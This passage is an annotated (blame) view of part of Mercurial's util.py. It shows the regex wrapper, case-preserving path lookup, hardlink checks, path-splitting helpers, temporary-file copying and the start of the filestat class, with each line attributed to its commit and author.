diff
changeset
|
2161 pat = b'(?i)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2162 if flags & remod.MULTILINE: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2163 pat = b'(?m)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2164 try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2165 return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2166 except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2167 pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2168 return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2169 |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2170 @propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2171 def escape(self): |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2172 '''Return the version of escape corresponding to self.compile. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2173 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2174 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2175 function depends on the flags, etc, but it's the best we can do. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2176 ''' |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2177 global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2178 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2179 self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2180 if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2181 return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2182 else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2183 return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2184 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2185 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2186 re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2187 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2188 _fspathcache = {} |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2189 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2190 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2191 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2192 '''Get name in the case stored in the filesystem |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2193 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2194 The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2195 |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2196 Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2197 called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
2198 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2199 The root should be normcase-ed, too. |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2200 ''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2201 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2202 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2203 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2204 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2205 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2206 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2207 seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2208 # Protect backslashes. This gets silly very quickly. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2209 seps.replace(b'\\', b'\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
changeset
|
2210 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
2211 dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2212 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2213 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2214 if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2215 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2216 continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2217 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
2218 if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2219 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
2220 contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2221 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2222 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2223 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
2224 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
2225 # may take place for each patches of "hg qpush", for example |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2226 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2227 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2228 |
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2229 result.append(found or part) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
2230 dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2231 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2232 return b''.join(result) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2233 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2234 |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2235 def checknlink(testfile): |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2236 '''check whether hardlink count reporting works properly''' |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2237 |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2238 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2239 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2240 f1, f2, fp = None, None, None |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2241 try: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2242 fd, f1 = pycompat.mkstemp( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2243 prefix=b'.%s-' % os.path.basename(testfile), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2244 suffix=b'1~', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2245 dir=os.path.dirname(testfile), |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2246 ) |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2247 os.close(fd) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2248 f2 = b'%s2~' % f1[:-2] |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2249 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2250 oslink(f1, f2) |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2251 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2252 # the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2253 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2254 return nlinks(f2) > 1 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2255 except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2256 return False |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2257 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2258 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2259 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2260 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2261 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2262 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2263 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2264 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2265 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2266 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2267 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2268 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2269 '''Check path ends with os.sep or os.altsep.''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2270 return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2271 path.endswith(pycompat.ossep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2272 or pycompat.osaltsep |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2273 and path.endswith(pycompat.osaltsep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2274 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2275 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2276 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2277 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2278 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2279 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2280 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2281 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2282 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2283 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2284 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2285 |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2286 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2287 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2288 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2289 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2290 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2291 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2292 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2293 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2294 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2295 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2296 d, fn = os.path.split(name) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2297 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2298 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2299 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2300 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2301 # its mode. Otherwise, manually obey umask. |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2302 copymode(name, temp, createmode, enforcewritable) |
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2303 |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2304 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2305 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2306 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2307 try: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2308 ifp = posixfile(name, b"rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2309 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2310 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2311 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2312 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2313 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2314 raise |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2315 ofp = posixfile(temp, b"wb") |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2316 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2317 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2318 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2319 ofp.close() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2320 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2321 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2322 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2323 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2324 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2325 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2326 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2327 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2328 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2329 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2330 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2331 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2332 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2333 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2334 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2335 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2336 |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2337 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2338 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2339 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2340 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2341 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2342 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2343 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2344 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2345 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2346 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2347 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2348 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2349 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2350 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
